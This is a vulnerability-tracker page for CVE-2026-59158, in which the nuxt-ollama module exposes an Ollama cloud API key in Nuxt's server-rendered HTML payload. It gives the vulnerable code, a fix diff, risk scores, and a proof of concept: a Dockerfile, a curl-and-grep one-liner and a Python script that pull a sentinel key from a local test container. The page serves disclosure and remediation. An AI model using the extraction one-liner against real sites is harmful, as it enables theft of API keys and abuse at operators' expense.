CVE-2026-59158

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients

Public Runtime Config Exposes Ollama API Key to Browser Clients

Summary

[email protected] unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a ` payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.

Details

The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:

// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)

Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:

window.__NUXT__={};
window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"  // ← secret exposed to browser
    }
  }
}

The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:

// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
  headers.Authorization = Bearer ${options.api_key}
}
return new Ollama({ host, proxy: options.proxy, headers })

The complete data flow from source to sink:

  • README.md:71-80 — official documentation instructs users to set ollama.api_key for cloud Ollama models
  • src/module.ts:35-36 — source: api_key is merged into runtimeConfig.public.ollama
  • Nuxt SSR runtime — runtimeConfig.public is serialized into HTML __NUXT__ payload
  • src/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollama
  • src/runtime/composables/useOllama.ts:8-10 — sink: options.api_key becomes headers.Authorization in client-side HTTP request

The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.

Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:

-    const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
  • runtimeConfig.public.ollama = defu(currentConfig, _options)
+ const { api_key, ...publicOptions } = _options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick + runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })

The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.

PoC

Prerequisites: Docker, Python 3

Step 1 — Build the vulnerable Nuxt app container

docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t nuxt-ollama-vuln-001 \
  /path/to/npmAI_735_thoda-dev__nuxt-ollama

The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:

export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'   // sentinel key
  }
})

Step 2 — Start the container

docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Step 3 — Retrieve the API key with a single unauthenticated HTTP request

curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'

Expected: api_key":"LEAKED_TEST_KEY_123"

Automated PoC script

python3 /path/to/vuln-001/poc.py

Expected output (confirmed in dynamic reproduction):

window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"
    }
  }
}

The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.

Impact

This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.

Who is impacted:

  • Operators/developers who follow the official documentation to configure ollama.api_key for cloud Ollama models. They are unaware that the key is being published to every visitor.
  • End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.

Potential consequences of key theft:

  • Unauthorized use of the Ollama cloud API at the operator's cost
  • Rate-limit exhaustion or quota abuse
  • Data exfiltration if the compromised key has read access to stored models or conversations
  • Reputational damage and service disruption for the affected application

The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1

VULN-001 PoC: [email protected] — Public Runtime Config Exposes Ollama API Key

CWE-522: Insufficiently Protected Credentials

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)

#

Vulnerability mechanism:

src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)

This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes

into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).

Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.

FROM node:20-alpine

Install pnpm matching the repo's packageManager field ([email protected])

RUN npm install -g [email protected]

WORKDIR /app

Copy the nuxt-ollama source repository

COPY repo/ ./

Install all project dependencies.

.npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false

RUN pnpm install --frozen-lockfile

Override playground/nuxt.config.ts: inject a sentinel api_key to simulate

a real-world cloud Ollama deployment as documented in README.md:71-80.

This is the exact vulnerable configuration pattern described in the docs.

RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' } }) EOF

Replace app.vue with a minimal template that does NOT make Ollama API calls.

The api_key leak occurs in the Nuxt SSR payload, not in the visible template.

The original playground app.vue calls useFetch('/api/ollama') which requires

a live Ollama server; replacing it keeps this PoC self-contained.

RUN cat > playground/app.vue << 'EOF'

nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key

EOF

Build the playground in production SSR mode.

During the module setup() call, src/module.ts:36 merges all _options (including

api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes

runtimeConfig.public into the HTML response for client-side hydration.

RUN pnpm exec nuxi build playground

EXPOSE 3000 ENV HOST=0.0.0.0 ENV PORT=3000 ENV NITRO_HOST=0.0.0.0 ENV NITRO_PORT=3000

CMD ["node", "/app/playground/.output/server/index.mjs"]

poc.py`

#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : [email protected] (thoda-dev/nuxt-ollama, commit 6989ea8)
Title   : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE     : CWE-522 - Insufficiently Protected Credentials
CVSS    : 7.5 High  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack summary -------------- When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80 for cloud Ollama), the module's setup() function in src/module.ts:36 merges the entire _options object—api_key included—into runtimeConfig.public.ollama.

Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and embeds it in the HTML response inside a payload block (__NUXT__ / __NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore returns the api_key in plain text, with no authentication required.

This script:

  • Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
  • Starts the image as a local container.
  • Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
  • Prints an evidence excerpt and writes phase2_result.json.
"""

import json import os import subprocess import sys import time import urllib.request

---------------------------------------------------------------------------

Configuration

---------------------------------------------------------------------------

TARGET_KEY = "LEAKED_TEST_KEY_123" IMAGE_NAME = "nuxt-ollama-vuln-001" CONTAINER_NAME = "nuxt-ollama-poc-001" HOST = "127.0.0.1" PORT = 3000 URL = f"http://{HOST}:{PORT}/"

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/) DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile") RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}" RUN_CMD = ( f"docker run -d --name {CONTAINER_NAME} " f"-p {PORT}:{PORT} {IMAGE_NAME}" ) POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"

---------------------------------------------------------------------------

Helpers

---------------------------------------------------------------------------

def run_cmd(cmd_list, check=True, capture=False): """Execute a command, printing it first; return CompletedProcess.""" print(f"[cmd] {' '.join(cmd_list)}", flush=True) return subprocess.run( cmd_list, check=check, capture_output=capture, text=bool(capture), )

def cleanup_container(): """Remove the PoC container if it already exists.""" subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)

def wait_for_server(url, timeout=180, interval=5): """Poll url until it returns a non-5xx response or the timeout expires.""" print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=5) as resp: if resp.status < 500: print(f"[+] Server up — HTTP {resp.status}", flush=True) return True except Exception: pass time.sleep(interval) return False

def save_result(data): """Write phase2_result.json and echo its path.""" with open(RESULT_FILE, "w", encoding="utf-8") as fh: json.dump(data, fh, ensure_ascii=False, indent=2) print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)

---------------------------------------------------------------------------

Main

---------------------------------------------------------------------------

def main(): print("=" * 66) print("VULN-001 PoC — [email protected] API Key Leak via Nuxt SSR Payload") print("=" * 66, flush=True)

cleanup_container()

# ------------------------------------------------------------------ # Step 1 — Build Docker image # ------------------------------------------------------------------ print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True) build_rc = run_cmd( ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR], check=False, ).returncode

if build_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker build exited with returncode={build_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1)

print("[+] Image built successfully.", flush=True)

# ------------------------------------------------------------------ # Step 2 — Start the container # ------------------------------------------------------------------ print("\n[STEP 2] Starting container ...", flush=True) run_rc = run_cmd( ["docker", "run", "-d", "--name", CONTAINER_NAME, "-p", f"{PORT}:{PORT}", IMAGE_NAME], check=False, ).returncode

if run_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 컨테이너 실행 실패.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker run exited with returncode={run_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1)

# ------------------------------------------------------------------ # Step 3 — Wait for Nuxt SSR server # ------------------------------------------------------------------ print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True) if not wait_for_server(URL, timeout=180): logs = subprocess.run( ["docker", "logs", CONTAINER_NAME], capture_output=True, text=True, ) log_snippet = (logs.stdout + logs.stderr)[-2000:] print("[!] Server did not respond within timeout. Container logs:\n", log_snippet) save_result({ "passed": False, "verdict": "INCOMPLETE", "reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": log_snippet, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1)

# ------------------------------------------------------------------ # Step 4 — Fetch the rendered HTML page # ------------------------------------------------------------------ print(f"\n[STEP 4] GET {URL} ...", flush=True) try: with urllib.request.urlopen(URL, timeout=15) as resp: html = resp.read().decode("utf-8", errors="replace") except Exception as exc: save_result({ "passed": False, "verdict": "FAIL", "reason": f"HTTP 요청 실패: {exc}", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1)

print(f"[+] Received {len(html)} bytes.", flush=True)

# ------------------------------------------------------------------ # Step 5 — Verify TARGET_KEY is present in the HTTP response body # ------------------------------------------------------------------ print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)

if TARGET_KEY in html: idx = html.index(TARGET_KEY) start = max(0, idx - 200) end = min(len(html), idx + len(TARGET_KEY) + 200) excerpt = html[start:end].strip()

print(f"\n{'='*66}") print(f"[PASS] VULNERABILITY CONFIRMED") print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.") print(f"{'='*66}") print(f"Evidence excerpt:\n\n{excerpt}\n") print(f"{'='*66}")

save_result({ "passed": True, "verdict": "PASS", "reason": ( "[email protected]의 src/module.ts:36에서 api_key를 " "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 " "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 " "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(0)

else: snippet = html[:3000] print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.") print("--- HTML (first 3000 chars) ---") print(snippet)

save_result({ "passed": False, "verdict": "FAIL", "reason": ( f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. " "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1)

if __name__ == "__main__": main()

CVSS v3
7.5
EG Score
7.5HIGHlow confidence
EG Risk
38
EG Risk 38/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track or Attend at high (mission-essential systems).
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track or Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation none (no KEV listing, exploit record or EPSS ≥ 50%) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

September 9, 2026

Last Modified

September 9, 2026

Vendor Advisories for CVE-2026-59158(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFix by version rangeDependents
nuxt-ollama—
  • 1.2.26 up to 1.3.1: fixed in 1.3.1
—

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-09-28 22:34 UTCEG score recompute
  2. 2026-09-10 00:25 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-59158?
CVE-2026-59158 is a high vulnerability published on September 9, 2026. Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients Public Runtime Config Exposes Ollama API Key to Browser Clients Summary [email protected] unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama).…
When was CVE-2026-59158 disclosed?
CVE-2026-59158 was first published on September 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-59158?
CVE-2026-59158 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-59158?
A fix for CVE-2026-59158 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-59158 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-59158

Explore →

Is Your Infrastructure Affected by CVE-2026-59158?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.